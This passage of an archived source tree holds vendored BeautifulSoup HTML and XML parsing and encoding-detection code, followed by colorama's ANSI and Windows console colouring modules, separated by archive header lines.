<b>Foo<b>Bar</b></b>
This is perfectly valid (if bizarre) HTML. However, the
BeautifulSoup class will implicitly close the first b tag when it
encounters the second 'b'. It will think the author wrote
"<b>Foo<b>Bar", and didn't close the first 'b' tag, because
there's no real-world reason to bold something that's already
bold. When it encounters '</b></b>' it will close two more 'b'
tags, for a grand total of three tags closed instead of two. This
can throw off the rest of your document structure. The same is
true of a number of other tags, listed below.
It's much more common for someone to forget to close a 'b' tag
than to actually use nested 'b' tags, and the BeautifulSoup class
handles the common case. This class handles the not-co-common
case: where you can't believe someone wrote what they did, but
it's valid HTML and BeautifulSoup screwed up by assuming it
wouldn't be."""
I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS = \
('em', 'big', 'i', 'small', 'tt', 'abbr', 'acronym', 'strong',
'cite', 'code', 'dfn', 'kbd', 'samp', 'strong', 'var', 'b',
'big')
I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS = ('noscript',)
NESTABLE_TAGS = buildTagMap([], BeautifulSoup.NESTABLE_TAGS,
I_CANT_BELIEVE_THEYRE_NESTABLE_BLOCK_TAGS,
I_CANT_BELIEVE_THEYRE_NESTABLE_INLINE_TAGS)
class MinimalSoup(BeautifulSoup):
"""The MinimalSoup class is for parsing HTML that contains
pathologically bad markup. It makes no assumptions about tag
nesting, but it does know which tags are self-closing, that
<script> tags contain Javascript and should not be parsed, that
META tags may contain encoding information, and so on.
This also makes it better for subclassing than BeautifulStoneSoup
or BeautifulSoup."""
RESET_NESTING_TAGS = buildTagMap('noscript')
NESTABLE_TAGS = {}
class BeautifulSOAP(BeautifulStoneSoup):
"""This class will push a tag with only a single string child into
the tag's parent as an attribute. The attribute's name is the tag
name, and the value is the string child. An example should give
the flavor of the change:
<foo><bar>baz</bar></foo>
=>
<foo bar="baz"><bar>baz</bar></foo>
You can then access fooTag['bar'] instead of fooTag.barTag.string.
This is, of course, useful for scraping structures that tend to
use subelements instead of attributes, such as SOAP messages. Note
that it modifies its input, so don't print the modified version
out.
I'm not sure how many people really want to use this class; let me
know if you do. Mainly I like the name."""
def popTag(self):
if len(self.tagStack) > 1:
tag = self.tagStack[-1]
parent = self.tagStack[-2]
parent._getAttrMap()
if (isinstance(tag, Tag) and len(tag.contents) == 1 and
isinstance(tag.contents[0], NavigableString) and
not parent.attrMap.has_key(tag.name)):
parent[tag.name] = tag.contents[0]
BeautifulStoneSoup.popTag(self)
#Enterprise class names! It has come to our attention that some people
#think the names of the Beautiful Soup parser classes are too silly
#and "unprofessional" for use in enterprise screen-scraping. We feel
#your pain! For such-minded folk, the Beautiful Soup Consortium And
#All-Night Kosher Bakery recommends renaming this file to
#"RobustParser.py" (or, in cases of extreme enterprisiness,
#"RobustParserBeanInterface.class") and using the following
#enterprise-friendly class aliases:
class RobustXMLParser(BeautifulStoneSoup):
pass
class RobustHTMLParser(BeautifulSoup):
pass
class RobustWackAssHTMLParser(ICantBelieveItsBeautifulSoup):
pass
class RobustInsanelyWackAssHTMLParser(MinimalSoup):
pass
class SimplifyingSOAPParser(BeautifulSOAP):
pass
######################################################
#
# Bonus library: Unicode, Dammit
#
# This class forces XML data into a standard format (usually to UTF-8
# or Unicode). It is heavily based on code from Mark Pilgrim's
# Universal Feed Parser. It does not rewrite the XML or HTML to
# reflect a new encoding: that happens in BeautifulStoneSoup.handle_pi
# (XML) and BeautifulSoup.start_meta (HTML).
# Autodetects character encodings.
# Download from http://chardet.feedparser.org/
try:
import chardet
# import chardet.constants
# chardet.constants._debug = 1
except ImportError:
chardet = None
# cjkcodecs and iconv_codec make Python know about more character encodings.
# Both are available from http://cjkpython.i18n.org/
# They're built in if you use Python 2.4.
try:
import cjkcodecs.aliases
except ImportError:
pass
try:
import iconv_codec
except ImportError:
pass
class UnicodeDammit:
"""A class for detecting the encoding of a *ML document and
converting it to a Unicode string. If the source encoding is
windows-1252, can replace MS smart quotes with their HTML or XML
equivalents."""
# This dictionary maps commonly seen values for "charset" in HTML
# meta tags to the corresponding Python codec names. It only covers
# values that aren't in Python's aliases and can't be determined
# by the heuristics in find_codec.
CHARSET_ALIASES = { "macintosh" : "mac-roman",
"x-sjis" : "shift-jis" }
def __init__(self, markup, overrideEncodings=[],
smartQuotesTo='xml', isHTML=False):
self.declaredHTMLEncoding = None
self.markup, documentEncoding, sniffedEncoding = \
self._detectEncoding(markup, isHTML)
self.smartQuotesTo = smartQuotesTo
self.triedEncodings = []
if markup == '' or isinstance(markup, text_type):
self.originalEncoding = None
self.unicode = text_type(markup)
return
u = None
for proposedEncoding in overrideEncodings:
u = self._convertFrom(proposedEncoding)
if u: break
if not u:
for proposedEncoding in (documentEncoding, sniffedEncoding):
u = self._convertFrom(proposedEncoding)
if u: break
# If no luck and we have auto-detection library, try that:
if not u and chardet and not isinstance(self.markup, text_type):
u = self._convertFrom(chardet.detect(self.markup)['encoding'])
# As a last resort, try utf-8 and windows-1252:
if not u:
for proposed_encoding in ("utf-8", "windows-1252"):
u = self._convertFrom(proposed_encoding)
if u: break
self.unicode = u
if not u: self.originalEncoding = None
def _subMSChar(self, orig):
"""Changes a MS smart quote character to an XML or HTML
entity."""
sub = self.MS_CHARS.get(orig)
if isinstance(sub, tuple):
if self.smartQuotesTo == 'xml':
sub = '&#x%s;' % sub[1]
else:
sub = '&%s;' % sub[0]
return sub
def _convertFrom(self, proposed):
proposed = self.find_codec(proposed)
if not proposed or proposed in self.triedEncodings:
return None
self.triedEncodings.append(proposed)
markup = self.markup
# Convert smart quotes to HTML if coming from an encoding
# that might have them.
if self.smartQuotesTo and proposed.lower() in("windows-1252",
"iso-8859-1",
"iso-8859-2"):
markup = re.compile("([\x80-\x9f])").sub \
(lambda x: self._subMSChar(x.group(1)),
markup)
try:
# print "Trying to convert document to %s" % proposed
u = self._toUnicode(markup, proposed)
self.markup = u
self.originalEncoding = proposed
except Exception as e:
# print "That didn't work!"
# print e
return None
#print "Correct encoding: %s" % proposed
return self.markup
def _toUnicode(self, data, encoding):
'''Given a string and its encoding, decodes the string into Unicode.
%encoding is a string recognized by encodings.aliases'''
# strip Byte Order Mark (if present)
if (len(data) >= 4) and (data[:2] == '\xfe\xff') \
and (data[2:4] != '\x00\x00'):
encoding = 'utf-16be'
data = data[2:]
elif (len(data) >= 4) and (data[:2] == '\xff\xfe') \
and (data[2:4] != '\x00\x00'):
encoding = 'utf-16le'
data = data[2:]
elif data[:3] == '\xef\xbb\xbf':
encoding = 'utf-8'
data = data[3:]
elif data[:4] == '\x00\x00\xfe\xff':
encoding = 'utf-32be'
data = data[4:]
elif data[:4] == '\xff\xfe\x00\x00':
encoding = 'utf-32le'
data = data[4:]
newdata = text_type(data, encoding)
return newdata
def _detectEncoding(self, xml_data, isHTML=False):
"""Given a document, tries to detect its XML encoding."""
xml_encoding = sniffed_xml_encoding = None
try:
if xml_data[:4] == '\x4c\x6f\xa7\x94':
# EBCDIC
xml_data = self._ebcdic_to_ascii(xml_data)
elif xml_data[:4] == '\x00\x3c\x00\x3f':
# UTF-16BE
sniffed_xml_encoding = 'utf-16be'
xml_data = text_type(xml_data, 'utf-16be').encode('utf-8')
elif (len(xml_data) >= 4) and (xml_data[:2] == '\xfe\xff') \
and (xml_data[2:4] != '\x00\x00'):
# UTF-16BE with BOM
sniffed_xml_encoding = 'utf-16be'
xml_data = text_type(xml_data[2:], 'utf-16be').encode('utf-8')
elif xml_data[:4] == '\x3c\x00\x3f\x00':
# UTF-16LE
sniffed_xml_encoding = 'utf-16le'
xml_data = text_type(xml_data, 'utf-16le').encode('utf-8')
elif (len(xml_data) >= 4) and (xml_data[:2] == '\xff\xfe') and \
(xml_data[2:4] != '\x00\x00'):
# UTF-16LE with BOM
sniffed_xml_encoding = 'utf-16le'
xml_data = text_type(xml_data[2:], 'utf-16le').encode('utf-8')
elif xml_data[:4] == '\x00\x00\x00\x3c':
# UTF-32BE
sniffed_xml_encoding = 'utf-32be'
xml_data = text_type(xml_data, 'utf-32be').encode('utf-8')
elif xml_data[:4] == '\x3c\x00\x00\x00':
# UTF-32LE
sniffed_xml_encoding = 'utf-32le'
xml_data = text_type(xml_data, 'utf-32le').encode('utf-8')
elif xml_data[:4] == '\x00\x00\xfe\xff':
# UTF-32BE with BOM
sniffed_xml_encoding = 'utf-32be'
xml_data = text_type(xml_data[4:], 'utf-32be').encode('utf-8')
elif xml_data[:4] == '\xff\xfe\x00\x00':
# UTF-32LE with BOM
sniffed_xml_encoding = 'utf-32le'
xml_data = text_type(xml_data[4:], 'utf-32le').encode('utf-8')
elif xml_data[:3] == '\xef\xbb\xbf':
# UTF-8 with BOM
sniffed_xml_encoding = 'utf-8'
xml_data = text_type(xml_data[3:], 'utf-8').encode('utf-8')
else:
sniffed_xml_encoding = 'ascii'
pass
except:
xml_encoding_match = None
xml_encoding_match = re.compile(
r'^<\?.*encoding=[\'"](.*?)[\'"].*\?>').match(xml_data)
if not xml_encoding_match and isHTML:
regexp = re.compile(r'<\s*meta[^>]+charset=([^>]*?)[;\'">]', re.I)
xml_encoding_match = regexp.search(xml_data)
if xml_encoding_match is not None:
xml_encoding = xml_encoding_match.groups()[0].lower()
if isHTML:
self.declaredHTMLEncoding = xml_encoding
if sniffed_xml_encoding and \
(xml_encoding in ('iso-10646-ucs-2', 'ucs-2', 'csunicode',
'iso-10646-ucs-4', 'ucs-4', 'csucs4',
'utf-16', 'utf-32', 'utf_16', 'utf_32',
'utf16', 'u16')):
xml_encoding = sniffed_xml_encoding
return xml_data, xml_encoding, sniffed_xml_encoding
def find_codec(self, charset):
return self._codec(self.CHARSET_ALIASES.get(charset, charset)) \
or (charset and self._codec(charset.replace("-", ""))) \
or (charset and self._codec(charset.replace("-", "_"))) \
or charset
def _codec(self, charset):
if not charset: return charset
codec = None
try:
codecs.lookup(charset)
codec = charset
except (LookupError, ValueError):
pass
return codec
EBCDIC_TO_ASCII_MAP = None
def _ebcdic_to_ascii(self, s):
c = self.__class__
if not c.EBCDIC_TO_ASCII_MAP:
emap = (0,1,2,3,156,9,134,127,151,141,142,11,12,13,14,15,
16,17,18,19,157,133,8,135,24,25,146,143,28,29,30,31,
128,129,130,131,132,10,23,27,136,137,138,139,140,5,6,7,
144,145,22,147,148,149,150,4,152,153,154,155,20,21,158,26,
32,160,161,162,163,164,165,166,167,168,91,46,60,40,43,33,
38,169,170,171,172,173,174,175,176,177,93,36,42,41,59,94,
45,47,178,179,180,181,182,183,184,185,124,44,37,95,62,63,
186,187,188,189,190,191,192,193,194,96,58,35,64,39,61,34,
195,97,98,99,100,101,102,103,104,105,196,197,198,199,200,
201,202,106,107,108,109,110,111,112,113,114,203,204,205,
206,207,208,209,126,115,116,117,118,119,120,121,122,210,
211,212,213,214,215,216,217,218,219,220,221,222,223,224,
225,226,227,228,229,230,231,123,65,66,67,68,69,70,71,72,
73,232,233,234,235,236,237,125,74,75,76,77,78,79,80,81,
82,238,239,240,241,242,243,92,159,83,84,85,86,87,88,89,
90,244,245,246,247,248,249,48,49,50,51,52,53,54,55,56,57,
250,251,252,253,254,255)
import string
c.EBCDIC_TO_ASCII_MAP = string.maketrans( \
''.join(map(chr, xrange(256))), ''.join(map(chr, emap)))
return s.translate(c.EBCDIC_TO_ASCII_MAP)
MS_CHARS = { '\x80' : ('euro', '20AC'),
'\x81' : ' ',
'\x82' : ('sbquo', '201A'),
'\x83' : ('fnof', '192'),
'\x84' : ('bdquo', '201E'),
'\x85' : ('hellip', '2026'),
'\x86' : ('dagger', '2020'),
'\x87' : ('Dagger', '2021'),
'\x88' : ('circ', '2C6'),
'\x89' : ('permil', '2030'),
'\x8A' : ('Scaron', '160'),
'\x8B' : ('lsaquo', '2039'),
'\x8C' : ('OElig', '152'),
'\x8D' : '?',
'\x8E' : ('#x17D', '17D'),
'\x8F' : '?',
'\x90' : '?',
'\x91' : ('lsquo', '2018'),
'\x92' : ('rsquo', '2019'),
'\x93' : ('ldquo', '201C'),
'\x94' : ('rdquo', '201D'),
'\x95' : ('bull', '2022'),
'\x96' : ('ndash', '2013'),
'\x97' : ('mdash', '2014'),
'\x98' : ('tilde', '2DC'),
'\x99' : ('trade', '2122'),
'\x9a' : ('scaron', '161'),
'\x9b' : ('rsaquo', '203A'),
'\x9c' : ('oelig', '153'),
'\x9d' : '?',
'\x9e' : ('#x17E', '17E'),
'\x9f' : ('Yuml', ''),}
#######################################################################
#By default, act as an HTML pretty-printer.
if __name__ == '__main__':
import sys
soup = BeautifulSoup(sys.stdin)
print(soup.prettify())
commix-3.8/src/thirdparty/colorama/ 0000775 0000000 0000000 00000000000 14466364451 0017453 5 ustar 00root root 0000000 0000000 commix-3.8/src/thirdparty/colorama/__init__.py 0000664 0000000 0000000 00000000360 14466364451 0021563 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
from .initialise import init, deinit, reinit, colorama_text
from .ansi import Fore, Back, Style, Cursor
from .ansitowin32 import AnsiToWin32
__version__ = '0.3.9'
commix-3.8/src/thirdparty/colorama/ansi.py 0000664 0000000 0000000 00000006365 14466364451 0020771 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
'''
This module generates ANSI character codes to printing colors to terminals.
See: http://en.wikipedia.org/wiki/ANSI_escape_code
'''
from src.utils import colors
CSI = '\033['
OSC = '\033]'
BEL = '\007'
def code_to_chars(code):
return CSI + str(code) + 'm'
class AnsiCodes(object):
def __init__(self, codes):
for name in dir(codes):
if not name.startswith('_'):
value = getattr(codes, name)
setattr(self, name, code_to_chars(value))
class AnsiCursor(object):
def UP(self, n=1):
return CSI + str(n) + "A"
def DOWN(self, n=1):
return CSI + str(n) + "B"
def FORWARD(self, n=1):
return CSI + str(n) + "C"
def BACK(self, n=1):
return CSI + str(n) + "D"
def POS(self, x=1, y=1):
return CSI + str(y) + ";" + str(x) + "H"
def set_title(title):
return OSC + "2;" + title + BEL
def clear_screen(mode=2):
return CSI + str(mode) + "J"
def clear_line(mode=2):
return CSI + str(mode) + "K"
class AnsiFore:
if colors.ENABLE_COLORING:
BLACK = 30
RED = 31
GREY = 90
GREEN = 32
YELLOW = 33
BLUE = 34
MAGENTA = 35
CYAN = 36
WHITE = 37
RESET = 39
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = 90
LIGHTRED_EX = 91
LIGHTGREEN_EX = 92
LIGHTYELLOW_EX = 93
LIGHTBLUE_EX = 94
LIGHTMAGENTA_EX = 95
LIGHTCYAN_EX = 96
LIGHTWHITE_EX = 97
else:
BLACK = RED = GREY = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0
class AnsiBack:
if colors.ENABLE_COLORING:
BLACK = 40
RED = 41
GREEN = 42
YELLOW = 43
BLUE = 44
MAGENTA = 45
CYAN = 46
WHITE = 47
RESET = 49
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = 100
LIGHTRED_EX = 101
LIGHTGREEN_EX = 102
LIGHTYELLOW_EX = 103
LIGHTBLUE_EX = 104
LIGHTMAGENTA_EX = 105
LIGHTCYAN_EX = 106
LIGHTWHITE_EX = 107
else:
BLACK = RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = RESET = 0
# These are fairly well supported, but not part of the standard.
LIGHTBLACK_EX = LIGHTRED_EX = LIGHTGREEN_EX = LIGHTYELLOW_EX = LIGHTBLUE_EX = LIGHTMAGENTA_EX = LIGHTCYAN_EX = LIGHTWHITE_EX = 0
class AnsiStyle:
if colors.ENABLE_COLORING:
BRIGHT = 1
DIM = 2
UNDERLINE = 4
NORMAL = 22
RESET_ALL = 0
else:
BRIGHT = DIM = UNDERLINE = NORMAL = RESET_ALL = 0
Fore = AnsiCodes( AnsiFore )
Back = AnsiCodes( AnsiBack )
Style = AnsiCodes( AnsiStyle )
Cursor = AnsiCursor()
commix-3.8/src/thirdparty/colorama/ansitowin32.py 0000664 0000000 0000000 00000023607 14466364451 0022215 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import re
import sys
import os
from .ansi import AnsiFore, AnsiBack, AnsiStyle, Style
from .winterm import WinTerm, WinColor, WinStyle
from .win32 import windll, winapi_test
winterm = None
if windll is not None:
winterm = WinTerm()
def is_stream_closed(stream):
return not hasattr(stream, 'closed') or stream.closed
def is_a_tty(stream):
return hasattr(stream, 'isatty') and stream.isatty()
class StreamWrapper(object):
'''
Wraps a stream (such as stdout), acting as a transparent proxy for all
attribute access apart from method 'write()', which is delegated to our
Converter instance.
'''
def __init__(self, wrapped, converter):
# double-underscore everything to prevent clashes with names of
# attributes on the wrapped stream object.
self.__wrapped = wrapped
self.__convertor = converter
def __getattr__(self, name):
return getattr(self.__wrapped, name)
def write(self, text):
self.__convertor.write(text)
class AnsiToWin32(object):
'''
Implements a 'write()' method which, on Windows, will strip ANSI character
sequences from the text, and if outputting to a tty, will convert them into
win32 function calls.
'''
ANSI_CSI_RE = re.compile('\001?\033\[((?:\d|;)*)([a-zA-Z])\002?') # Control Sequence Introducer
ANSI_OSC_RE = re.compile('\001?\033\]((?:.|;)*?)(\x07)\002?') # Operating System Command
def __init__(self, wrapped, convert=None, strip=None, autoreset=False):
# The wrapped stream (normally sys.stdout or sys.stderr)
self.wrapped = wrapped
# should we reset colors to defaults after every .write()
self.autoreset = autoreset
# create the proxy wrapping our output stream
self.stream = StreamWrapper(wrapped, self)
on_windows = os.name == 'nt'
# We test if the WinAPI works, because even if we are on Windows
# we may be using a terminal that doesn't support the WinAPI
# (e.g. Cygwin Terminal). In this case it's up to the terminal
# to support the ANSI codes.
conversion_supported = on_windows and winapi_test()
# should we strip ANSI sequences from our output?
if strip is None:
strip = conversion_supported or (not is_stream_closed(wrapped) and not is_a_tty(wrapped))
self.strip = strip
# should we should convert ANSI sequences into win32 calls?
if convert is None:
convert = conversion_supported and not is_stream_closed(wrapped) and is_a_tty(wrapped)
self.convert = convert
# dict of ansi codes to win32 functions and parameters
self.win32_calls = self.get_win32_calls()
# are we wrapping stderr?
self.on_stderr = self.wrapped is sys.stderr
def should_wrap(self):
'''
True if this class is actually needed. If false, then the output
stream will not be affected, nor will win32 calls be issued, so
wrapping stdout is not actually required. This will generally be
False on non-Windows platforms, unless optional functionality like
autoreset has been requested using kwargs to init()
'''
return self.convert or self.strip or self.autoreset
def get_win32_calls(self):
if self.convert and winterm:
return {
AnsiStyle.RESET_ALL: (winterm.reset_all, ),
AnsiStyle.BRIGHT: (winterm.style, WinStyle.BRIGHT),
AnsiStyle.DIM: (winterm.style, WinStyle.NORMAL),
AnsiStyle.NORMAL: (winterm.style, WinStyle.NORMAL),
AnsiFore.BLACK: (winterm.fore, WinColor.BLACK),
AnsiFore.RED: (winterm.fore, WinColor.RED),
AnsiFore.GREEN: (winterm.fore, WinColor.GREEN),
AnsiFore.YELLOW: (winterm.fore, WinColor.YELLOW),
AnsiFore.BLUE: (winterm.fore, WinColor.BLUE),
AnsiFore.MAGENTA: (winterm.fore, WinColor.MAGENTA),
AnsiFore.CYAN: (winterm.fore, WinColor.CYAN),
AnsiFore.WHITE: (winterm.fore, WinColor.GREY),
AnsiFore.RESET: (winterm.fore, ),
AnsiFore.LIGHTBLACK_EX: (winterm.fore, WinColor.BLACK, True),
AnsiFore.LIGHTRED_EX: (winterm.fore, WinColor.RED, True),
AnsiFore.LIGHTGREEN_EX: (winterm.fore, WinColor.GREEN, True),
AnsiFore.LIGHTYELLOW_EX: (winterm.fore, WinColor.YELLOW, True),
AnsiFore.LIGHTBLUE_EX: (winterm.fore, WinColor.BLUE, True),
AnsiFore.LIGHTMAGENTA_EX: (winterm.fore, WinColor.MAGENTA, True),
AnsiFore.LIGHTCYAN_EX: (winterm.fore, WinColor.CYAN, True),
AnsiFore.LIGHTWHITE_EX: (winterm.fore, WinColor.GREY, True),
AnsiBack.BLACK: (winterm.back, WinColor.BLACK),
AnsiBack.RED: (winterm.back, WinColor.RED),
AnsiBack.GREEN: (winterm.back, WinColor.GREEN),
AnsiBack.YELLOW: (winterm.back, WinColor.YELLOW),
AnsiBack.BLUE: (winterm.back, WinColor.BLUE),
AnsiBack.MAGENTA: (winterm.back, WinColor.MAGENTA),
AnsiBack.CYAN: (winterm.back, WinColor.CYAN),
AnsiBack.WHITE: (winterm.back, WinColor.GREY),
AnsiBack.RESET: (winterm.back, ),
AnsiBack.LIGHTBLACK_EX: (winterm.back, WinColor.BLACK, True),
AnsiBack.LIGHTRED_EX: (winterm.back, WinColor.RED, True),
AnsiBack.LIGHTGREEN_EX: (winterm.back, WinColor.GREEN, True),
AnsiBack.LIGHTYELLOW_EX: (winterm.back, WinColor.YELLOW, True),
AnsiBack.LIGHTBLUE_EX: (winterm.back, WinColor.BLUE, True),
AnsiBack.LIGHTMAGENTA_EX: (winterm.back, WinColor.MAGENTA, True),
AnsiBack.LIGHTCYAN_EX: (winterm.back, WinColor.CYAN, True),
AnsiBack.LIGHTWHITE_EX: (winterm.back, WinColor.GREY, True),
}
return dict()
def write(self, text):
if self.strip or self.convert:
self.write_and_convert(text)
else:
self.wrapped.write(text)
self.wrapped.flush()
if self.autoreset:
self.reset_all()
def reset_all(self):
if self.convert:
self.call_win32('m', (0,))
elif not self.strip and not is_stream_closed(self.wrapped):
self.wrapped.write(Style.RESET_ALL)
def write_and_convert(self, text):
'''
Write the given text to our wrapped stream, stripping any ANSI
sequences from the text, and optionally converting them into win32
calls.
'''
cursor = 0
text = self.convert_osc(text)
for match in self.ANSI_CSI_RE.finditer(text):
start, end = match.span()
self.write_plain_text(text, cursor, start)
self.convert_ansi(*match.groups())
cursor = end
self.write_plain_text(text, cursor, len(text))
def write_plain_text(self, text, start, end):
if start < end:
self._write(text[start:end])
self.wrapped.flush()
# Reference: https://github.com/robotframework/robotframework/commit/828c67695d85519e4435c556c43ed1b00985df05
# Workaround for Windows 10 console bug:
# https://github.com/robotframework/robotframework/issues/2709
def _write(self, text, retry=5):
try:
self.wrapped.write(text)
except IOError as err:
if not (err.errno == 0 and retry > 0):
raise
self._write(text, retry-1)
def convert_ansi(self, paramstring, command):
if self.convert:
params = self.extract_params(command, paramstring)
self.call_win32(command, params)
def extract_params(self, command, paramstring):
if command in 'Hf':
params = tuple(int(p) if len(p) != 0 else 1 for p in paramstring.split(';'))
while len(params) < 2:
# defaults:
params = params + (1,)
else:
params = tuple(int(p) for p in paramstring.split(';') if len(p) != 0)
if len(params) == 0:
# defaults:
if command in 'JKm':
params = (0,)
elif command in 'ABCD':
params = (1,)
return params
def call_win32(self, command, params):
if command == 'm':
for param in params:
if param in self.win32_calls:
func_args = self.win32_calls[param]
func = func_args[0]
args = func_args[1:]
kwargs = dict(on_stderr=self.on_stderr)
func(*args, **kwargs)
elif command in 'J':
winterm.erase_screen(params[0], on_stderr=self.on_stderr)
elif command in 'K':
winterm.erase_line(params[0], on_stderr=self.on_stderr)
elif command in 'Hf': # cursor position - absolute
winterm.set_cursor_position(params, on_stderr=self.on_stderr)
elif command in 'ABCD': # cursor position - relative
n = params[0]
# A - up, B - down, C - forward, D - back
x, y = {'A': (0, -n), 'B': (0, n), 'C': (n, 0), 'D': (-n, 0)}[command]
winterm.cursor_adjust(x, y, on_stderr=self.on_stderr)
def convert_osc(self, text):
for match in self.ANSI_OSC_RE.finditer(text):
start, end = match.span()
text = text[:start] + text[end:]
paramstring, command = match.groups()
if command in '\x07': # \x07 = BEL
params = paramstring.split(";")
# 0 - change title and icon (we will only change title)
# 1 - change icon (we don't support this)
# 2 - change title
if params[0] in '02':
winterm.set_title(params[1])
return text
commix-3.8/src/thirdparty/colorama/initialise.py 0000664 0000000 0000000 00000003575 14466364451 0022171 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
import atexit
import contextlib
import sys
from .ansitowin32 import AnsiToWin32
orig_stdout = None
orig_stderr = None
wrapped_stdout = None
wrapped_stderr = None
atexit_done = False
def reset_all():
if AnsiToWin32 is not None: # Issue #74: objects might become None at exit
AnsiToWin32(orig_stdout).reset_all()
def init(autoreset=False, convert=None, strip=None, wrap=True):
if not wrap and any([autoreset, convert, strip]):
raise ValueError('wrap=False conflicts with any other arg=True')
global wrapped_stdout, wrapped_stderr
global orig_stdout, orig_stderr
orig_stdout = sys.stdout
orig_stderr = sys.stderr
if sys.stdout is None:
wrapped_stdout = None
else:
sys.stdout = wrapped_stdout = \
wrap_stream(orig_stdout, convert, strip, autoreset, wrap)
if sys.stderr is None:
wrapped_stderr = None
else:
sys.stderr = wrapped_stderr = \
wrap_stream(orig_stderr, convert, strip, autoreset, wrap)
global atexit_done
if not atexit_done:
atexit.register(reset_all)
atexit_done = True
def deinit():
if orig_stdout is not None:
sys.stdout = orig_stdout
if orig_stderr is not None:
sys.stderr = orig_stderr
@contextlib.contextmanager
def colorama_text(*args, **kwargs):
init(*args, **kwargs)
try:
yield
finally:
deinit()
def reinit():
if wrapped_stdout is not None:
sys.stdout = wrapped_stdout
if wrapped_stderr is not None:
sys.stderr = wrapped_stderr
def wrap_stream(stream, convert, strip, autoreset, wrap):
if wrap:
wrapper = AnsiToWin32(stream,
convert=convert, strip=strip, autoreset=autoreset)
if wrapper.should_wrap():
stream = wrapper.stream
return stream
commix-3.8/src/thirdparty/colorama/win32.py 0000664 0000000 0000000 00000012462 14466364451 0020774 0 ustar 00root root 0000000 0000000 # Copyright Jonathan Hartley 2013. BSD 3-Clause license, see LICENSE file.
# from winbase.h
STDOUT = -11
STDERR = -12
try:
import ctypes
from ctypes import LibraryLoader
windll = LibraryLoader(ctypes.WinDLL)
from ctypes import wintypes
except (AttributeError, ImportError):
windll = None
SetConsoleTextAttribute = lambda *_: None
winapi_test = lambda *_: None
else:
from ctypes import byref, Structure, c_char, POINTER
COORD = wintypes._COORD
class CONSOLE_SCREEN_BUFFER_INFO(Structure):
"""struct in wincon.h."""
_fields_ = [
("dwSize", COORD),
("dwCursorPosition", COORD),
("wAttributes", wintypes.WORD),
("srWindow", wintypes.SMALL_RECT),
("dwMaximumWindowSize", COORD),
]
def __str__(self):
return '(%d,%d,%d,%d,%d,%d,%d,%d,%d,%d,%d)' % (
self.dwSize.Y, self.dwSize.X
, self.dwCursorPosition.Y, self.dwCursorPosition.X
, self.wAttributes
, self.srWindow.Top, self.srWindow.Left, self.srWindow.Bottom, self.srWindow.Right
, self.dwMaximumWindowSize.Y, self.dwMaximumWindowSize.X
)
_GetStdHandle = windll.kernel32.GetStdHandle
_GetStdHandle.argtypes = [
wintypes.DWORD,
]
_GetStdHandle.restype = wintypes.HANDLE
_GetConsoleScreenBufferInfo = windll.kernel32.GetConsoleScreenBufferInfo
_GetConsoleScreenBufferInfo.argtypes = [
wintypes.HANDLE,
POINTER(CONSOLE_SCREEN_BUFFER_INFO),
]
_GetConsoleScreenBufferInfo.restype = wintypes.BOOL
_SetConsoleTextAttribute = windll.kernel32.SetConsoleTextAttribute
_SetConsoleTextAttribute.argtypes = [
wintypes.HANDLE,
wintypes.WORD,
]
_SetConsoleTextAttribute.restype = wintypes.BOOL
_SetConsoleCursorPosition = windll.kernel32.SetConsoleCursorPosition
_SetConsoleCursorPosition.argtypes = [
wintypes.HANDLE,
COORD,
]
_SetConsoleCursorPosition.restype = wintypes.BOOL
_FillConsoleOutputCharacterA = windll.kernel32.FillConsoleOutputCharacterA
_FillConsoleOutputCharacterA.argtypes = [
wintypes.HANDLE,
c_char,
wintypes.DWORD,
COORD,
POINTER(wintypes.DWORD),
]
_FillConsoleOutputCharacterA.restype = wintypes.BOOL
_FillConsoleOutputAttribute = windll.kernel32.FillConsoleOutputAttribute
_FillConsoleOutputAttribute.argtypes = [
wintypes.HANDLE,
wintypes.WORD,
wintypes.DWORD,
COORD,
POINTER(wintypes.DWORD),
]
_FillConsoleOutputAttribute.restype = wintypes.BOOL
_SetConsoleTitleW = windll.kernel32.SetConsoleTitleW
_SetConsoleTitleW.argtypes = [
wintypes.LPCWSTR
]
_SetConsoleTitleW.restype = wintypes.BOOL
handles = {
STDOUT: _GetStdHandle(STDOUT),
STDERR: _GetStdHandle(STDERR),
}
def _winapi_test(handle):
csbi = CONSOLE_SCREEN_BUFFER_INFO()
success = _GetConsoleScreenBufferInfo(
handle, byref(csbi))
return bool(success)
def winapi_test():
return any(_winapi_test(h) for h in handles.values())
def GetConsoleScreenBufferInfo(stream_id=STDOUT):
handle = handles[stream_id]
csbi = CONSOLE_SCREEN_BUFFER_INFO()
success = _GetConsoleScreenBufferInfo(
handle, byref(csbi))
return csbi
def SetConsoleTextAttribute(stream_id, attrs):
handle = handles[stream_id]
return _SetConsoleTextAttribute(handle, attrs)
def SetConsoleCursorPosition(stream_id, position, adjust=True):
position = COORD(*position)
# If the position is out of range, do nothing.
if position.Y <= 0 or position.X <= 0:
return
# Adjust for Windows' SetConsoleCursorPosition:
# 1. being 0-based, while ANSI is 1-based.
# 2. expecting (x,y), while ANSI uses (y,x).
adjusted_position = COORD(position.Y - 1, position.X - 1)
if adjust:
# Adjust for viewport's scroll position
sr = GetConsoleScreenBufferInfo(STDOUT).srWindow
adjusted_position.Y += sr.Top
adjusted_position.X += sr.Left
# Resume normal processing
handle = handles[stream_id]
return _SetConsoleCursorPosition(handle, adjusted_position)
def FillConsoleOutputCharacter(stream_id, char, length, start):
handle = handles[stream_id]
char = c_char(char.encode())
length = wintypes.DWORD(length)
num_written = wintypes.DWORD(0)
